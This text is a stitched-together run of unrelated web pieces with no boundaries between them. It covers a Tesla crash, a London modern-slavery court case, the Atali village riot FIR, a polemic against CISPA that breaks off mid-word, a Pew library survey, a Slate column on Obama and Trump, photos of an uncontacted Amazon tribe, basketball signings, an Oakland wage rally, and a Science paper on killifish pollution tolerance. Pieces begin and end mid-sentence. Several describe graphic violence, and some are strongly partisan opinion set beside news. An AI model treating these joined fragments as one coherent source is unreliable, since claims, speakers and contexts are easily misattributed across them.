“The vehicle impacted a roundabout at 110 mph, shearing off 15 feet of concrete curbwall and tearing off the left front wheel, then smashing through an eight foot tall buttressed concrete wall on the other side of the road and tearing off the right front wheel, before crashing into a tree. The driver stepped out and walked away with no permanent injuries and a fire, again limited to the front section of the vehicle, started several minutes later.”
There’s no word on why the Model S in question had bolted electrical connections manually tightened by a human instead of by robots. We asked Tesla for more details on the investigation and we will update if we find out anything interesting.Mandy Leacock has been jailed (Picture: Central)
A woman who used her brother’s date as a slave while feeding her on scraps from the bin has been jailed for four years.
Mandy Leacock, 36, repeatedly beat her victim, poured bleach over her in the bath, and pulled her hair out at her flat in Maida Vale, West London, for 14 months.
Coward, 25, left son and girlfriend in overturned car after crashing in police chase
She forced the victim, who cannot be named, to move in with her and used her as an ‘unpaid skivvy’ after she met her brother, Colin, in early 2014.
The victim tried to kill herself and accused Colin of raping her to try and get revenge at Leacock.
She took the victim’s bank card and went on spending sprees, buying expensive clothes and a watch for her ex-boyfriend as the victim.
She kept her brother’s date as a slave (Picture: Central)
Her victim told Southwark Crown Court: ‘Mandy made me a slave’.
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She said she was assaulted ‘everyday’, explaining: ‘I felt humiliated. I didn’t cry because I got that used to it at the time.
‘I got used to getting hit, that’s why I didn’t cry. I haven’t got proper emotions.’
Pair'murdered missing woman and claimed her benefits'
The court heard the desperate woman ate from Leacock’s bin during the 14-month ordeal.
She left witness stand in floods of tears after explaining: ‘She starved me, I wasn’t allowed to eat at all.’
When Leacock left the flat in May 2016 the victim wandered into a local Co-Op covered in burns and scabs and with clumps of hair missing due to chemical damage.
Staff called for medical help and the police became involved.
Officers arrested Leacock in May 2016 on suspicion of false imprisonment and modern slavery.
Lonely paedophile is allowed to befriend fellow sex offender because he feels isolated
She pleaded guilty to three counts of causing actual bodily harm.
Jailing her for four years today Judge Stephen Robbins said: ‘I have seen the photos of the victim which show the awful physical harm that she sustained but do not show the mental anguish that she suffered.
‘Suffice to say that anyone who treats another human being – and a vulnerable one at that as she was with borderline personality disorder, suffering from depression and anxiety, taking overdoses – with sustained cruelty as you did can expect to receive an immediate custodial sentence of some length.
‘This was persistently cruel conduct, gratuitous degradation using a corrosive substance, bleach, on a vulnerable victim.
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‘It was conduct over a lengthy period of time, you treated her like a slave, you beat her and pulled out her hair.
‘You further punished her by pouring bleach over her in the bath causing blistering and other wounds.’
Colin Leackock was cleared of all charges.Muslim families are still refusing to return to the village and are camped at the police station. (Source: Express Photo by Oinam Anand)
The sheer brutality of the violence that took place during rioting at Atali Village in Ballabhgarh is revealed by the FIR filed in the case. Two thousand people armed with swords, axes, spears, country-made pistols, petrol and gas cylinders had unleashed the attack. The violence lasted less than half an hour, but lives had been changed forever.
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The violence in Atali began Monday evening, the flashpoint of a five-year dispute over the construction of a mosque. The mosque, adjacent to a temple, was torched and the Muslims of the village fled overnight. No arrest has been made yet. Villagers alleged that the local police, which had deployed officers at the dispute site, pulled back their men minutes before the attack.
[related-post]
According to the FIR, the violence began with stone-pelting when the Muslims gathered to pray around 5.30 pm. “In a little while, around 2,000 people gathered there. They had swords, axes, spears, country-made pistols, petrol and gas
The FIR names six individuals, who allegedly attacked the Muslims with these weapons. The FIR adds that some of the accused fired in the air, which led to further injuries. In the next half hour, 20 houses, three cars, one tractor trolley, two tempos, 15 motorbikes and two shops were burnt, the FIR recorded.
“The entire incident took place on May 25, 2015 between 5 pm and 6 pm. This fight is a planned attempt to create friction between the two communities (Muslims and Hindu),” says the FIR while alleging that the accused made a careful plan to “attack the mosque”, “loot and burn homes”.
The FIR also recreates the violence that left Naimuddin – a labourer working at the mosque – with severe injuries. It says that initially the accused tried to “kill him by burning him” and then “chopped off his fingers and toes with an axe”. He is still recuperating at the at the B K Hospital in Faridabad.
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The FIR was lodged on Tuesday under sections 147, 148, 149 (rioting), 153B (assertions prejudicial to national integration), 452 (house trespass after preparation of assault), 427, 435, 436 (mischief by fire), 295 (defiling place of worship), 295A (outraging religious feelings), 307 (attempt to murder), 323 (voluntarily causing hurt), 506 IPC (criminal intimidation) and under sections of the
Arms Act.On Thursday, the U.S. House of Representatives passed the draconian Cyber Intelligence Sharing and Protection Act (H.R. 3523 or CISPA) by a vote of 248-168, with 206 Republicans and 42 Democrats voting in favor.
If the legislation passes muster in the Senate and is signed by President Obama (who has threatened a veto, but don’t hold your breath), it would allow private firms–internet service providers (ISPs), telecoms and wireless providers–to hand over personal information about users to law enforcement and security agencies.
This unprecedented power-grab by a cabal of giant corporations and the federal government would take place under the guise of “cybersecurity,” the latest front in the secret state’s assault on Americans’ civil liberties and privacy rights.
While the bill’s sponsors and supporters claim that any “information-sharing” of personal data would be “voluntary,” it would occur without benefit of a warrant or a court order and automatically “exempts such information from public disclosure.”
Denouncing the bill, the ACLU’s Michelle Richardson said that CISPA’s “biggest and most fundamental flaw” is that it empowers “the military, including agencies like the NSA, to collect the internet records of Americans’ everyday internet use.”
CISPA is the latest in a series of repressive measures that have incrementally rolled-back the Bill of Rights since 1995’s Oklahoma City bombing and the 9/11 terrorist provocations. Under successive Democratic and Republican administrations fundamental constitutional protections, specifically those guaranteed by the First, Fourth and Fifth Amendments, have been gutted.
Beginning with the Antiterrorism and Effective Death Penalty Act of 1996 (AEDPA), which severely limited the rights of prisoners to obtain habeas corpus relief from federal courts, 2001’s Authorization for Use of Military Force (AUMF) which handed the Executive Branch carte blanche to wage endless, undeclared wars, and now the National Defense Authorization Act of 2012 (NDAA), which empowers the President to order the military to pick up and indefinitely imprison anyone, anywhere in the world declared a “terrorist,” including American citizens detained on U.S. soil, without charge or trial, the architecture of a police state is firmly in place.
“In the past decade,” the Electronic Frontier Foundation’s (EFF) Trevor Timm averred, “the amorphous phrase ‘national security’ has invaded many arenas of government action, and has been used to justify much activity that did not involve legitimate terrorist threats. The most obvious (and odious) example is the unfortunately named USA-PATRIOT Act, a law that was sold to the American public as essential to combating terrorism, but which has overwhelmingly been applied to ordinary American citizens never even suspected of terrorism.”
Citing the example of the FBI, Timm pointed out that under the rubric of “stopping terrorism” the Bureau “issued more than 192,000 National Security Letters to get Americans’ business, phone or Internet records without a warrant. These invasive letters–which come with a gag order on the recipient so they can’t even admit they received one–have been used to gather information about untold number of ordinary citizens, including journalists.”
Indeed, “‘Information sharing’–CISPA’s mantra–has also created privacy nightmares for everyday Americans in the name of national security. The federal government routinely shares its massive national security databases with local law enforcement agencies with predictable results.”
Amongst CISPA’s controversial provisions, the Director of National Intelligence (DNI), the Obergruppenführer of America’s 16-agency Intelligence Community, “shall issue guidelines providing that the head of an element of the intelligence community may, as the head of such element considers necessary to carry out this subsection: (A) grant a security clearance on a temporary or permanent basis to an employee or officer of a certified entity; (B) grant a security clearance on a temporary or permanent basis to a certified entity and approval to use appropriate facilities; and (C) expedite the security clearance process for a person or entity as the head of such element considers necessary, consistent with the need to protect the national security of the United States.”
Under “Definitions,” (1) a “certified entity” is described as a “protected entity, self-protected entity, or cybersecurity provider that–(A) possesses or is eligible to obtain a security clearance, as determined by the Director of National Intelligence; and (B) is able to demonstrate to the Director of National Intelligence that such provider or such entity can appropriately protect classified cyber threat intelligence.”
“(2) The term ‘cyber threat information’ means information directly pertaining to a vulnerability of, or threat to, a system or network of a government or private entity, including information pertaining to the protection of a system or network from–(A) efforts to degrade, disrupt, or destroy such system or network; or (B) theft or misappropriation of private or government information, intellectual property, or personally identifiable information. (3) Cyber threat intelligence.–The term ‘cyber threat intelligence’ means information in the possession of an element of the intelligence community directly pertaining to a vulnerability of, or threat to, a system or network of a government or private entity, including information pertaining to the protection of a system or network from–(A) efforts to degrade, disrupt, or destroy such system or network; or (B) theft or misappropriation of private or government information, intellectual property, or personally identifiable information.”
According to this reading, a “certified entity” is any one of the thousands of über-secretive “cybersecurity firms” with their stable of “cleared” employees who hold top secret and above security clearances who rely upon and do the bidding of their masters–corporate shareholders and the federal government.
The bill’s draconian language would in essence transform investigative journalism and whistleblowing into a crime since “the theft or misappropriation of private or government information, intellectual property, or personally identifiable information” is precisely the meat and potatoes used by journalists and outraged citizens to uncover corporate and government lawbreaking.
Indeed under CISPA, the employees of firms such as the ultra-spooky Endgame Systems, SAIC, Lockheed Martin or General Dynamics, the designers of “boutique cyber weapons” for the government as BusinessWeek disclosed last summer, would ply their dirty trade in destructive algorithmic weapons with more than a wink-and-a-nod: they would be empowered to do so and earn big bucks (courtesy of U.S. taxpayers) in the process!
To get a sense of some of the surveillance “products” which have transformed private data into weaponized kit for the secret state, readers are well-advised to peruse The Spyfiles published last December by the whistleblowing web site WikiLeaks.
“In the last ten years,” WikiLeaks informed us, “systems for indiscriminate, mass surveillance have become the norm. Intelligence companies such as VASTech secretly sell equipment to permanently record the phone calls of entire nations. Others record the location of every mobile phone in a city, down to 50 meters. Systems to infect every Facebook user, or smart-phone owner of an entire population group are on the intelligence market.”
To cite but one example culled from The Spyfiles, NICE Systems, founded by “retired” members of Israel’s equivalent of the National Security Agency, Unit 8200, has become a key player in the global Surveillance-Industrial Complex.
With decades of experience surveilling, tracking and repressing Palestinian and left-wing activists at home and abroad, the NiceTrack Mass Detection Center is a perfect tool that provides “nationwide interception, monitoring and analysis” to enterprising securocrats who need a leg-up on home-grown “subversive elements.”
Accordingly, the Mass Detection Center “helps intelligence organizations and national security agencies fight terrorism and reduce national threat levels. It supports both mass and target monitoring workflows and helps operators and analysts find new suspects, generate new leads and monitor existing targets.” Indeed, the software suite “stores and analyzes all types of telephony and Internet content.” We’re informed that “collecting and storing nationwide data enables broadening the scope of target information and performing on-going and post-event investigations.”
NiceTrack Target 360° according to brochures published by WikiLeaks “is the leading communication intercept system for tracking, monitoring, and investigating targets’ activities, securing 1.5 billion people worldwide.” Indeed, “the system is designed to provide Law Enforcement Agencies (LEAs), intelligence organizations and SIGINT agencies with hermetic 360° target monitoring by collecting, processing, retaining and analyzing any type of communication activity.”
Amongst the product’s “Key Benefits” we learn that Target 360° can “help” law enforcement “reduce crime, prevent terrorism” and “identify other security threats” by providing “persistent situation awareness” of a “target” through “advanced IP monitoring,” “open source intelligence” and “lawful hacking.”
Additionally, Target 360° can “manage and efficiently structure millions of internet activities and unstructured data into a simple and meaningful intelligence picture.” Target 360° “is designed to handle all types of Web 2.0 internet applications, including Facebook, Twitter and other social networks, forums, chats, and e-mails, and is scalable to support new services” and can “be integrated with legacy systems for telephony and mobile interception and provide a comprehensive solution for all types of communication interception.”
As numerous critics and journalists have pointed out, the privatization of the government’s intelligence and security functions, theoretically transparent under provisions of the Freedom of Information Act (FOIA), would, under CISPA, fall under the purview of the Department of Homeland Security (DHS) and the National Security Agency (NSA) where “disclosure” is little more than a euphemism for “down the memory hole.”
In all likelihood, privatized spooks would be exempt from revealing the state’s blanket surveillance of its citizens under any number of provisions built into the Freedom of Information Act.
For example under section (b)(1), the secret state can prevent “disclosure [of] national security information concerning the national defense or foreign policy, provided that it has been properly classified in accordance with the substantive and procedural requirements of an executive order.”
Can you say “state secrets privilege,” Sibel Edmonds or Thomas Drake?
Since, an “an employee or officer of a certified entity,” i.e., a private contractor, telecom or ISP will be empowered by Congress to share user information with NSA and other departments of the federal government, such information “shall be considered proprietary information and shall not be disclosed to an entity outside of the Federal Government except as authorized by the entity sharing such information.”
Under CISPA it will be virtually impossible for the average citizen to learn whether they have been spied upon since Section (b)(4) of FOIA specifically protects “trade secrets and commercial or financial information obtained from a person [that is] privileged or confidential. This exemption is intended to protect the interest of both the government and submitter of information.”
And once an “employee or officer of a certified entity” has been “read into” a CIA, FBI, DHS or NSA black program, they are automatically exempt from disclosing such information to a lawful court since CISPA “prohibits a civil or criminal cause of action against a protected entity, a self-protected entity (an entity that provides goods or services for cybersecurity purposes to itself), or a cybersecurity provider acting in good faith under the above circumstances.”
With CISPA, official lawbreaking is automatically precluded from review by a lawful court and the average citizen, who may have lost their job because of malicious or flawed data collected by a “certified entity” will be stripped of their ability to obtain compensation from deputized cyber snoops “acting in good faith.”
Most controversially perhaps, the statute reads: “notwithstanding any other provision of law,” companies can share information “with any other entity, including the federal government.”
As CNET News analyst Declan McCullagh pointed out, “By including the word ‘notwithstanding,’ House Intelligence Committee Chairman Mike Rogers (R-Mich.) and ranking member Dutch Ruppersberger (D-Md.) intended to make CISPA trump all existing federal and state civil and criminal laws.”
Indeed, by inserting the word “notwithstanding” into the legislation, it “would trump wiretap laws, Web companies’ privacy policies, gun laws, educational record laws, census data, medical records, and other statutes that protect information,” McCullagh wrote.
As noted above, “CISPA’s authorization for information sharing extends far beyond Web companies and social networks. It would also apply to Internet service providers, including ones that already have an intimate relationship with Washington officialdom,” CNET reported.
“Large companies including AT&T and Verizon handed billions of customer records to the NSA; only Qwest refused to participate,” McC |
they are split on whether public libraries are as essential as they were in the past for finding information:
Just 34% of Americans ages 16 and older of say that public libraries have not done a good job keeping up with new technologies, while 55% disagree.
52% of Americans say that people do not need public libraries as much as they used to because they can find most information on their own, while 46% disagreed.
Though many library services are seen as important, there are varying levels of enthusiasm for different services
Some 91% of Americans say they have had some exposure to libraries in the past, and we asked these respondents a series of questions about the importance of various library services to them and their families.
Americans strongly value library services such as access to books and media; having a quiet, safe place to spend time, read, or study; and having librarians to help people find information. Other services, such as assistance finding and applying for jobs, are more important to particular groups, including those with lower levels of education or household income.
Women, African-Americans and Hispanics, adults who live in lower-income households, and adults with lower levels of educational attainment are more likely than other groups to declare all the library services we asked about “very important.” Adults ages 30-64 are also more likely than younger or older respondents to say many of the services are “very important,” as are parents with minor children.
Libraries are also particularly valued by those who are unemployed, retired, or searching for a job, as well as those living with a disability and internet users who lack home internet access:
56% of internet users without home access say public libraries’ basic technological resources (such as computers, internet, and printers) are “very important” to them and their family, compared with 33% of all respondents.
49% of unemployed and retired respondents say they librarian assistance in finding information to be “very important,” compared with 41% of employed respondents.
47% of job seekers say help finding or applying for a job is “very important” to them and their families.
40% of those living with a disability say help applying for government services is “very important,” compared with 27% of those without a disability.
Most Americans know where their local library is, but many are unfamiliar with all the services they offer.
Libraries are well known in their communities and they are usually easy to get to and relatively easy to navigate. Asked about their ability to access public libraries and public library websites:
91% of Americans say they know where the closest public library is to where they currently live; among these respondents, most said the closest public library is five miles or less away from their home.
93% of Americans say that it would be easy to visit a public library in person if they wanted to, with 62% saying it would be “very easy.”
Similarly, 82% of Americans overall say it would be easy to use their local public library’s website, with 47% saying it would be “very easy.”
91% of Americans who have ever used a public library say it is not difficult to find what they’re looking for, including 35% who say it is “very easy.”
Despite the fact that libraries are easily available to most, there are large numbers of Americans who say they are not sure about all the services libraries offer. Echoing the findings of our 2012 survey, 23% of those who have ever used a public library said they feel like they know all or most of the service and programs their library offers, while a plurality (47%) said that they know some of what it offers. About one in five (20%) say they don’t know very much about what is offered, and 10% say they know “nothing at all.”
54% of Americans have used a public library in the past 12 months, and 72% live in a “library household”
Over half (54%) of Americans ages 16 and older have used a public library in some way in the past 12 months, whether by visiting in person or using a public library website:
81% of Americans ages 16 and older have visited a public library or bookmobile at one point or another in their lives; 48% of Americans have done so in the past 12 months, down from 53% in 2012.
44% of those ages 16 and older have visited a public library website; 30% of Americans have done so in the past 12 months, up from 25% in 2012.
Additionally, among parents with minor children living at home, 70% say that a child in the house has visited a public library or bookmobile in the past 12 months.
Taken together, this means that 72% of all Americans ages 16 and older have either used a public library in the past 12 months or live in a household where another family member or a child is an active recent user of the library.
Most Americans who have ever used a public library have had positive experiences
Among all Americans who have ever used a public library:President Barack Obama arrives to make a statement after meeting with his National Security Council at the State Department, Feb. 25, 2016 in Washington, D.C. Drew Angerer/Getty Images
Everything that’s wrong with America is Barack Obama’s fault. That’s what Republican politicians have told themselves and the public for eight years. It began before Obama took office, when Republicans blamed him for a recession that started on their watch. Now they’re blaming Obama for the rise of their own presidential front-runner, Donald Trump.
The delusion that Obama caused Trump has been building since last year. This week, it reached the last bastion of rationality on the right: New York Times columnist Ross Douthat. Douthat has a long track record of fairness and good sense. When the madness infects even him, it’s time to clear the air. No, Obama didn’t cause Trump. What caused Trump was the GOP’s decision to negate Obama in every way, and thereby become the party of Trump.
As president, Obama was never a radical leftist. He extended the drone program, the Iran sanctions, and the bailout-recovery policies of George W. Bush. He proposed to cut the national debt through a higher ratio of spending cuts to tax increases than even Bush’s father had accepted and Republican voters preferred. Obama embraced the Heritage Foundation’s idea of imposing personal responsibility for health care costs through an individual mandate to buy insurance. He decimated al-Qaida’s leadership, built up troop strength in Afghanistan, and killed Osama bin Laden.
Nevertheless, Republicans opposed Obama at every turn. Whatever he embraced, they rejected. They refused to compromise on health care or offer a realistic alternative. They staged dozens of votes to repeal the new health-insurance law in its entirety. They forced a federal shutdown to protest the law. They took the nation’s credit rating hostage in a debt-ceiling showdown. They urged Iran to reject a nuclear nonproliferation agreement with the United States.
In 2012, Republicans lost the Hispanic vote and the presidential election. An internal autopsy report on this defeat, commissioned by the Republican National Committee, concluded: “We must embrace and champion comprehensive immigration reform.” Instead, in 2013 and 2014, House Republicans killed immigration reform. Today, Sen. Ted Cruz hounds Sen. Marco Rubio for having consorted with Obama to support the bill, and Rubio dutifully renounces it.
If Obama had been a leftist, the GOP’s policy of negating him on every issue might have positioned Republicans in the mainstream. Instead, because Obama was a moderate, the GOP’s negation strategy pushed it toward the fringe. Obama was for fiscal responsibility and compromise, so Republicans were for absolutism and drama, risking a federal shutdown and a credit default. Obama was for respecting the Supreme Court, so the GOP was for defying judicial orders. Obama was for using sanctions to pressure Iran into a nuclear deal, so Republicans were for scrapping the deal and daring Iran to provoke a war. Obama, like Bush, was for drawing a clear distinction between terrorists and Muslims. So Republicans were for blurring that distinction.
In Trump, Republican voters have found their anti-Obama. Trump spurns not just political correctness, but correctness of any kind. He lies about Muslims and 9/11, insults women and people with disabilities, accuses a judge of bias for being Hispanic, and hurls profanities. Trump validates the maxim that in presidential primaries, the opposition party tends to choose a candidate who differs temperamentally from the incumbent. Obama is an adult. Therefore, Republicans are nominating a child.
The GOP’s predicament isn’t just that Trump is leading the fight for the nomination. It’s that his only viable opponents are men who claim he’s not conservative enough. In rallies and interviews, Cruz and Rubio call Trump soft on immigration and gun control. They denounce him for praising Planned Parenthood’s work against cervical cancer and breast cancer. They’re outraged that Trump has said he supports government-funded health care to prevent sick people from dying in the streets—as though there were some way other than government-funded health care to guarantee that sick people don’t die in the streets.
How did the GOP end up in this madness? By twisting itself to thwart and vilify Obama. Cruz paints the president as a traitor “who doesn’t believe in the mission of our military and who undermines them at every step.” Rubio, incensed at Obama’s inclusive language, repeatedly excoriates him for “talking about discrimination against Muslims.” Both senators pledge to shred the Iran agreement on their first day in office—apparently out of spite, since renouncing the agreement would free Iran of its nonproliferation commitments without recovering the money that was relinquished in sanctions relief.
What has Obama done to provoke this psychosis? Douthat says he abused executive authority. But that’s circular: Obama resorted to executive action when Republicans blocked the normal channels of government. The GOP’s sabotage began the moment Obama took office, and it exceeds anything done to previous presidents. I’m hard-pressed to come up with an innocent explanation.
The immigration debate illustrates the madness. Four years ago, Republicans campaigned against illegal immigration but emphasized their support for legal immigration. Now that distinction is all but lost. Cruz, who has renounced his prior advocacy of visas for foreign workers, complained at a rally in Oklahoma on Sunday that “the Democrats support immigration.” Even Douthat, in his column on Obama, writes nostalgically, “It was possible to be a culturally conservative skeptic of mass immigration in the Democratic Party of Bill Clinton. Not so anymore.” Note the absence of the word illegal.
So, yes, Obama led to Trump. But that’s only because the Republican Party decided to be what Obama wasn’t. And what Obama wasn’t—insecure, bitter, vindictive, xenophobic, sectarian—is what the GOP, in the era of Trump, has become.
Read more Slate coverage of the 2016 campaign.Aerial photographs of an isolated tribe in the Brazilian rain forest are yielding a sensational new look at a Neolithic way of life that has all but disappeared from the face of the Earth.
The high-resolution images, taken from a helicopter last week by Brazilian photographer Ricardo Stuckert, offer an unprecedented glimpse of a vibrant indigenous community living in complete isolation in the depths of the Amazon jungle. National Geographic obtained first-time rights from Stuckert to publish a selection.
“I felt like I was a painter in the last century,” Stuckert said, describing his reaction to seeing the natives. “To think that in the 21st century, there are still people who have no contact with civilization, living like their ancestors did 20,000 years ago—it’s a powerful emotion.”
Stuckert’s close-up photographs taken near Brazil’s border with Peru show details about these Indians that had previously escaped the notice of experts, such as their use of elaborate body paint and the way they cut their hair. “We thought they all cut their hair in the same way,” said José Carlos Meirelles, who has worked with and studied Brazil’s indigenous tribes for more than 40 years. “Not true. You can see they have many different styles. Some look very punk.”
The same tribe gained global attention in 2008, when agents from Brazil’s indigenous affairs agency, Fundação Nacional do Índio—known by its acronym, FUNAI—released photographs of tribesmen in red body paint launching arrows at their low-flying airplane. (Learn about how uncontacted tribes emerge.)
The tribe has moved a number of times since that sighting, said Meirelles, a veteran FUNAI scout and expert on the region’s indigenous groups. Meirelles was on last Sunday’s flight, as well as previous missions in 2008 and 2010 that also yielded extraordinary images. “These groups change locations every four years or so,” Meirelles told National Geographic by phone from his home. “They move around. But it’s the same group.”
Stuckert arrived earlier this month in the far western Amazonian state of Acre as part of a yearlong project to photograph indigenous tribes across Brazil. Last Sunday, he boarded a helicopter with Meirelles to visit the jungle outpost of Jordão near the border of Peru. When thunderstorms forced the chopper to make a detour in midflight, the occupants suddenly found themselves flying directly over an isolated settlement of thatched huts carved into the dense jungle. The naked inhabitants were evidently just as surprised, scattering into the surrounding forest at the aircraft’s approach.
The tribe’s initial panic seemed to give way to curiosity by the time the team returned a few hours later for another look. “They seemed more inquisitive than fearful,” Stuckert told National Geographic when reached by phone. “I felt there was a mutual curiosity, on their part and mine.”
The tribe’s apparent well-being was heartening to Meirelles. The people looked well fed and healthy, he said. Plots of corn, manioc, and bananas surrounding the cluster of communal huts—known as a maloca—seemed capable of sustaining as many as 80 to a hundred people. Together with other nearby malocas of the same tribe, Meirelles believes the population exceeds 300.
Equally impressive for Meirelles was the barrage of arrows the tribesmen fired at the helicopter, which he took as a healthy sign of resistance. “They’re messages,” he said. “Those arrows mean 'Leave us in peace. Do not disturb.'”
Unlike other regions of the Brazilian Amazon, the state of Acre enforces strict vigilance over its forests and indigenous inhabitants. The isolated tribes of Acre appear to be safe—for now. But the jungles across the border in Peru are rife with illegal logging crews, gold prospectors, and drug traffickers, posing the kind of threats that have wiped out entire tribes in the past.
“Once their territory is encroached by loggers or prospectors, the isolated groups are finished,” Meirelles said. “They could disappear from the face of the Earth, and we wouldn’t even know it.” (See the photos of an uncontacted tribe that stirred an uproar.)
Although they seek to avoid direct contact with outsiders, the Indians at the headwaters of the Envira and Humaitá rivers have long made use of steel tools. “Dating back to 1910, there have been reports that they raided settlements and made off with machetes and axes,” Meirelles said. “They’ve been using them for a long time. They’re practically part of their culture.” The tools have allowed them to clear large enough swaths of forest to expand food production. Since the group has never sustained peaceful contact with the outside world, the name of the tribe is unknown. Brazilian officials simply refer to them as the “isolated Indians of the upper Humaitá.”
A former staff photographer for major Brazilian media, including Veja and O Globo, Stuckert said his four children are his most important audience. “They’re very curious, always asking questions,” he said. “They are very interested in how these Indians live, these people who were the very first human inhabitants of our country. They want to know every detail.”
Stuckert hopes his forthcoming book, Índios Brasileiros, will awaken the curiosity and conscience of successive generations, so that they might also experience the spine-tingling sensation he felt as he beheld the village from his perch in the helicopter.Kolossos H Hotels adds one more player to its roster with the addition of Tre Demps (188-G-93, college: Northwestern, agency: Stanislav Ryzhov). Kolossos, that currently sits at the last spot in the Greek Basket League with a 2-13 record, tries turn things around and avoid relegation. Demps, a three-year pro, has experience playing in Belgium and Italy. He's coming from Vanoli Basket Cremona where he averaged 10.5 points in almost 20 minutes. Kolossos is in a tough position and expects De...
Kormend - USK Praha 94-53 Kormend crushed visiting USK Praha to pave their way into Final Four. Kormend dominated down low during the game scoring 48 of its points in the paint compared to USK Praha's 26. The best player for the winners was American Leyton Hammonds (203-94, college: Oklahoma St., agency: Inception Sports) who had a double-double by scoring 16 points and 11 rebounds. The other American import guard TJ Price (193-93, college: W.Kentucky) chipped in 23 points. American gu...Posted 5 years ago on May 1, 2013, 8:57 a.m. EST by OccupyWallSt
Tags: oakland, may day 2013, fight for 15
Last year Burger King made $117,000,000 in profits. Walgreens made $253,000,000.
Hundreds of fast food workers in NYC & Chicago recently participated in a strike to demand $15/hr. It is time to bring the Fight for Fifteen campaign to Oakland.
We will gather at Oscar Grant Plaza at 14th St. & Broadway for a rally on Wed, May 1st at 5 PM for a rally followed by a noise demo march throughout downtown Oakland at 6 PM. There will be food at the rally and also after the march back at the Plaza.
With the cost of rent driven up by gentrification, plus childcare, healthcare and other bills, $8/hour is not enough to survive in Oakland. Mayor Jean Quan says Oakland is “rising” but the lowest paid workers, who are more likely to be people of color and women, are left behind.
$15/hr livable wage for all Oakland workers!
Expose the practices of corporations who thrive off of low wage labor.
And, as we all know, whatever they do in back east, we can do better in Oakland.
Contact: info@fightfor15oakland.org
http://fightfor15.org/en/
See also:
March for Immigrant and Worker Rights: Healthcare is Human Right Rally in San Francisco, 3-5pm
and follow @SfcommuneSF for information about the anti-capitalist march, building occupations, and midnight noise demo in the Bay Area!Talk about speaking truth to power! A former chief of staff to Secretary of State Colin Powell charged the Republican Party with racism after remarks in which John Sununu, a surrogate for Mitt Romney’s presidential campaign, suggested race was a factor in Powell’s endorsement of President Obama.
Retired Army Col. Lawrence Wilkerson, a Republican, condemned the former New Hampshire governor’s comments while also slamming his own party during an interview with Ed Schultz on MSNBC on Friday night.
“My party, unfortunately, is the bastion of those people — not all of them, but most of them — who are still basing their positions on race,” Wilkerson said. “Let me just be candid: My party is full of racists, and the real reason a considerable portion of my party wants President Obama out of the White House has nothing to do with the content of his character, nothing to do with his competence as commander in chief and president, and everything to do with the color of his skin, and that’s despicable.”
— Posted by Tracy Bloom.Mapping genetic adaptations to pollution Many organisms have evolved tolerance to natural and human-generated toxins. Reid et al. performed a genomic analysis of killifish, geographically separate and independent populations of which have adapted recently to severe pollution (see the Perspective by Tobler and Culumber). Sequencing multiple sensitive and resistant populations revealed signals of selective sweeps for variants that may confer tolerance to toxins, some of which were shared between resistant populations. Thus, high genetic diversity in killifish seems to allow selection to act on existing variation, driving rapid adaptation to selective forces such as pollution. Science, this issue p. 1305; see also p. 1232
Abstract Atlantic killifish populations have rapidly adapted to normally lethal levels of pollution in four urban estuaries. Through analysis of 384 whole killifish genome sequences and comparative transcriptomics in four pairs of sensitive and tolerant populations, we identify the aryl hydrocarbon receptor–based signaling pathway as a shared target of selection. This suggests evolutionary constraint on adaptive solutions to complex toxicant mixtures at each site. However, distinct molecular variants apparently contribute to adaptive pathway modification among tolerant populations. Selection also targets other toxicity-mediating genes and genes of connected signaling pathways; this indicates complex tolerance phenotypes and potentially compensatory adaptations. Molecular changes are consistent with selection on standing genetic variation. In killifish, high nucleotide diversity has likely been a crucial substrate for selective sweeps to propel rapid adaptation.
The current pace of environmental change may exceed the maximum rate of evolutionary change for many species (1), yet little is known of the circumstances and mechanisms through which evolution might rescue species at risk of decline (2). The Atlantic killifish, Fundulus heteroclitus, is nonmigratory and abundant in U.S. Atlantic coast salt-marsh estuaries (3), including sites contaminated with complex mixtures of persistent industrial pollutants (Fig. 1A) that have reached lethal levels in recent decades (4). Some killifish populations resident in polluted sites exhibit inherited tolerance to normally lethal levels of these highly toxic pollutants (5) (Fig. 1B). To understand the genetics of rapid adaptation to radical environmental change in wild populations, we sequenced complete genomes from 43 to 50 individuals from each of eight populations (Fig. 1A and table S1): four tolerant (T) populations from highly polluted sites, each paired with a nearby reference [sensitive (S)] population. We combined these data with RNA sequencing (RNA-seq) to uncover unique and shared functional pathways and adaptive signatures of selection across populations.
Fig. 1 Focal F. heteroclitus populations. (A) Locations of pollution-tolerant (“T”; bold tone, filled circles) and sensitive (“S”; pastel tone, open circles) population pairs numbered from north to south. (B) Population variation in larval survival (linear regression of logit survival to 7 days post hatch) after two generations reared in a common environment, when challenged with increasing log exposure concentrations of PCB 126. Populations from polluted sites exhibit tolerance to pollutants at concentrations hundreds to thousands of times normally lethal levels. (C) Phylogenetic tree, estimated from genome-wide biallelic single-nucleotide polymorphism (SNP) frequencies, showing that genetic differentiation is lowest between T-S population pairs [Phylogeny Inference Package (PHYLIP) Gene Frequencies and Continuous Characters Maximum Likelihood (CONTML) module, bootstrap supports are 100 for all branches].
Genomes from T1 and S1 populations were sequenced to 7-fold coverage per individual and the remaining populations, to 0.6-fold coverage (6). Genetic variation is strongly partitioned by geography (Fig. 1C); northern populations (T1, S1, T2, S2, T3, and S3) form a cluster distinct from southern populations (T4 and S4), consistent with their known phylogeography (7). In tolerant populations, nucleotide diversity is reduced genome-wide, and Tajima’s D is shifted positive, relative to sensitive population counterparts (fig. S1); these indicate reduced effective population size in polluted sites. Tolerant-sensitive (T-S) population pairs share the most similar genetic backgrounds, and the fixation index (F ST ) is low between them (0.01 to 0.08) (fig. S2). We conclude that tolerant populations are recently and independently derived from local gene pools.
We identified genomic regions that are candidates for pollution tolerance (table S2 and fig. S3) by defining outlier regions as 5-kb windows that fell in the extreme 0.1% tails (for pi and Tajima’s D) and 99.9% tails (for F ST ) of null distributions simulated from demographic models estimated from the data (6). Most outlier regions are small (52 to 69 kb), although a few are up to ~1.8 Mb (fig. S4). For each T-S population pair, signatures of selection are skewed in prevalence toward the tolerant population (fig. S5). Most outliers are specific to a tolerant population (0.5% of 5-kb outlier windows are shared) (fig. S6). However, loci showing the strongest signals of recent selection [highly ranked outliers (6)] are shared (Fig. 2A), suggesting convergent evolution for pollution tolerance. Within these shared outliers are key genes involved in the aryl hydrocarbon receptor (AHR) signaling pathway (AHR2a, AHR1a, AIP, and CYP1A) (Fig. 2B).
